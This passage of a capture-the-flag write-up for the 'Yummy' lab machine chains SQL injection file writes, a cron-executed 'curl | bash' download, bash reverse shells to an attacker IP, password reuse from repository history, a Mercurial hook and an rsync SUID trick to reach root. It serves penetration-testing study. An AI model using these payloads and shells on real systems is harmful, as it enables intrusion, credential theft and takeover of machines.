response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
This script checks if MySQL
is running. If not, it runs a file named fixer-v*
at /data/scripts
directory. The thing is it will execute the file fixer-v<number>
, where <number>
is the highest number. So if we have fixer-v1
, fixer-v2
and fixer-v3
the cronjob
will execute fixer-v3
.
Hence the idea of writing a file named file-vZ
(since uppercase letters will be stored at the very last) at /data/script
and wait for the cronjob
to execute it. First, we need to “corrupt” dbstatus.json
. MySQL
cannot overwrite files, but if we check /data/scripts/dbstatus.json
this file does not exists, so we can write it visiting in the /admindashboard
session:
http://yummy.htb/admindashboard?s=123&o=ASC;%20SELECT%20%27test%27%20INTO%20OUTFILE%20%27/data/scripts/dbstatus.json%27;--%20-
which is the url encoded SQL Injection|SQLi
:
SELECT 'test' INTO OUTFILE '/data/scripts/dbstatus.json';-- -
The file has been apparently written:
❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/dbstatus.json'
<SNIP>
[+] Output obtained:
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
So let’s write both files required in the SQL
payload:
; select 'test' INTO OUTFILE '/data/scripts/dbstatus.json'; select 'curl http://10.10.16.2:8000/rev.sh | bash' INTO OUTFILE '/data/scripts/fixer-v9999';-- -
where 10.10.16.2
is our attacker IP and 443
is the port we will start listening with netcat
.
We urlencode this payload into Burpsuite
, which generates the urlencoded-payload:
%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d
Create a simple rev.sh
file with the content:
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'
assign to it execution permissions with chmod +x
and expose it in a temporal Python
HTTP
server on port 8000
(executing python3 -m http.server 8000
).
Therefore, we just visit http://yummy.htb/admindashboard?s=123&o=ASC<url-encoded-payload>
, which in my case is:
http://yummy.htb/admindashboard?s=123&o=ASC%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d
in a web browser like Firefox
.
After some time we get a request into our web server and the payload is executed. We get a shell as mysql
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 57734
bash: cannot set terminal process group (3704): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ whoami
whoami
mysql
We can now use the credentials found at app.py
file:
mysql@yummy:/var/spool/cron$ mysql -u chef -p'3wDo7gSRZIwIHRxZ!' -h localhost yummy_db
<SNIP>
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use yummy_db;
Database changed
mysql> show tables;
+--------------------+
| Tables_in_yummy_db |
+--------------------+
| appointments |
| users |
+--------------------+
2 rows in set (0.00 sec)
mysql> select * from users;
Empty set (0.00 sec)
But besides data in the blog we don’t have more info. This is a rabbit hole.
We can then remember cronjobs
found at /etc/crontab
. /data/scripts/app_backup.sh
was being run by www-data
every second. I see if we can write over this file renaming it:
mysql@yummy:/var/spool/cron$ mv /data/scripts/app_backup.sh /data/scripts/app_backup_backup.sh
mysql@yummy:/var/spool/cron$ ls -la /data/scripts/app_backup*
-rw-r--r-- 1 root root 90 Sep 26 15:31 /data/scripts/app_backup_backup.sh
We can then replace /data/scripts/app_backup.sh
by rev.sh
we have created to get a new reverse shell:
mysql@yummy:/var/spool/cron$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/rev.sh
mysql@yummy:/var/spool/cron$ chmod +x /tmp/rev.sh
mysql@yummy:/var/spool/cron$ mv /tmp/rev.sh /data/scripts/app_backup.sh -f
mysql@yummy:/var/spool/cron$ cat /data/scripts/app_backup.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"
We start a new listener with netcat
on port 443
. After some time we get a new shell as www-data
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 56358
bash: cannot set terminal process group (4522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$ whoami
whoami
www-data
Since we are now www-data
we should look into /var/www
. Looking there we have a directory called app-qatesting
and also a hidden directory called .hg
inside it:
ls -la /var/www/app-qatesting/.hg
total 64
drwxrwxr-x 6 qa qa 4096 May 28 14:37 .
drwxrwx--- 7 www-data qa 4096 May 28 14:41 ..
-rw-rw-r-- 1 qa qa 57 May 28 14:26 00changelog.i
-rw-rw-r-- 1 qa qa 0 May 28 14:28 bookmarks
-rw-rw-r-- 1 qa qa 8 May 28 14:26 branch
drwxrwxr-x 2 qa qa 4096 May 28 14:37 cache
-rw-rw-r-- 1 qa qa 7102 May 28 14:37 dirstate
-rw-rw-r-- 1 qa qa 34 May 28 14:37 last-message.txt
-rw-rw-r-- 1 qa qa 11 May 28 14:26 requires
drwxrwxr-x 4 qa qa 4096 May 28 14:37 store
drwxrwxr-x 2 qa qa 4096 May 28 14:28 strip-backup
-rw-rw-r-- 1 qa qa 8 May 28 14:26 undo.backup.branch.bck
-rw-rw-r-- 1 qa qa 7102 May 28 14:34 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa qa 9 May 28 14:37 undo.desc
drwxrwxr-x 2 qa qa 4096 May 28 14:37 wcache
We look for passwords inside this directory using grep
and we have something:
www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" .
grep -ir "password" .
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches
Use -a
along with grep
to check content from the binary file containing the potential password:
www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" . -a
grep -ir "password" . -a
grep: ./wcache/checkisexec: Permission denied
./store/data/app.py.i: 'password': '3wDo7gSRZIwIHRxZ!',
./store/data/app.py.i: 'password': 'jPAd!XQCtn8Oc@2B',
The first password is the same as the previously found at app.py
, which we have also tested if worked for qa
and dev
user, but did not work. The second password is new.
We then use NetExec
to check if this password works for qa
and dev
users:
❯ nxc ssh 10.10.11.36 -u 'dev' -p 'jPAd!XQCtn8Oc@2B'
SSH 10.10.11.36 22 10.10.11.36 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH 10.10.11.36 22 10.10.11.36 [-] dev:jPAd!XQCtn8Oc@2B
❯ nxc ssh 10.10.11.36 -u 'qa' -p 'jPAd!XQCtn8Oc@2B'
SSH 10.10.11.36 22 10.10.11.36 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH 10.10.11.36 22 10.10.11.36 [+] qa:jPAd!XQCtn8Oc@2B Linux - Shell access!
The password worked for qa
user.
Use this password and log in through SSH
as qa
user:
❯ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh -o stricthostkeychecking=no qa@10.10.11.36
<SNIP>
qa@yummy:~$
We can get user flag at this user’s /home
directory.
Root Link to heading
Checking what can this user run with sudo
, it can run a binary called hg
as dev
user:
qa@yummy:~$ sudo -l
[sudo] password for qa: jPAd!XQCtn8Oc@2B
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
It is a Python
script:
qa@yummy:~$ file /usr/bin/hg
/usr/bin/hg: Python script, ASCII text executable
Reading it we get:
#! /usr/bin/python3
#
# mercurial - scalable distributed SCM
#
# Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.
import os
import sys
libdir = '@LIBDIR@'
if libdir != '@' 'LIBDIR' '@':
if not os.path.isabs(libdir):
libdir = os.path.join(
os.path.dirname(os.path.realpath(__file__)), libdir
)
libdir = os.path.abspath(libdir)
sys.path.insert(0, libdir)
# Make `pip install --user ...` packages available to the official Windows
# build. Most py2 packaging installs directly into the system python
# environment, so no changes are necessary for other platforms. The Windows
# py2 package uses py2exe, which lacks a `site` module. Hardcode it according
# to the documentation.
if getattr(sys, 'frozen', None) == 'console_exe':
vi = sys.version_info
appdata = os.environ.get('APPDATA')
if appdata:
sys.path.append(
os.path.join(
appdata,
'Python',
'Python%d%d' % (vi[0], vi[1]),
'site-packages',
)
)
try:
from hgdemandimport import tracing
except ImportError:
sys.stderr.write(
"abort: couldn't find mercurial libraries in [%s]\n"
% ' '.join(sys.path)
)
sys.stderr.write("(check your install and PYTHONPATH)\n")
sys.exit(-1)
with tracing.log('hg script'):
# enable importing on demand to reduce startup time
import hgdemandimport
hgdemandimport.enable()
from mercurial import dispatch
dispatch.run()
After some research this script is a Python
library for Mercurial
:
Mercurial
is a distributed open source control (also known as “version control”) system written in Python
for tracking and handling file modifications. Mercurial
can be used as the version control system for Python
projects.It is an alternative to Git
. We can get more info about it in its page and this one.
Unfortunately, there is not much clear documentation about it. But I was able to find this page explaining how to use this application. One thing that looks interesting is hooks
:
We can execute Python
script or commands. The other one is:
so we could pass this parameter as pre-pull
(since this is the only command we can run as dev
) into hook
.
But if we run it we don’t have a config file:
qa@yummy:~$ /usr/bin/hg config -l
abort: can't use --local outside a repository
So we go to /tmp
and start a hg
project there:
qa@yummy:~$ cd /tmp
qa@yummy:/tmp$ hg init
qa@yummy:/tmp$ hg config -l
We edit the file with nano
and create the file:
[hook]
pre-pull = /tmp/evil.sh
and create the script that will be executed:
qa@yummy:/tmp$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/evil.sh
qa@yummy:/tmp$ chmod +x /tmp/evil.sh
This script should send us a reverse shell when it is executed.
Assign permissions to .hg
directory, start a listener with netcat
and execute the payload:
qa@yummy:/tmp$ chmod -R 777 .hg
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
We get a connection as dev
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 58430
I'm out of office until November 3th, don't call me
dev@yummy:/tmp$ whoami
whoami
dev
Checking what can this new user run with sudo
we get:
dev@yummy:/tmp$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
We can run Rsync
as root
without providing a password.
Rsync
is a free, command-line tool in Linux
that transfers and synchronizes files between local and remote systems.Basically, this command let us copy files, recursively, from /home/dev/app/production/*
into /opt/app
(excluding .hg
files).
Therefore, we can do the following:
- Make a copy of
/bin/bash
into/home/dev/app/production
. - Assign to this file SUID permissions. However, the owner will be
dev
. - Use
sudo
command to change the owner toroot
using--chown
flag (as can be seen in this post). - Copy of
/bin/bash
will have SUID permissions, therefore we execute it with-p
flag.
We need to do this all at once, since there was a cronjob
constantly restoring the files. Therefore we execute:
dev@yummy:~$ cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p
whoami
root
It worked. GG. We can read root
flag at /root
directory.
~Happy Hacking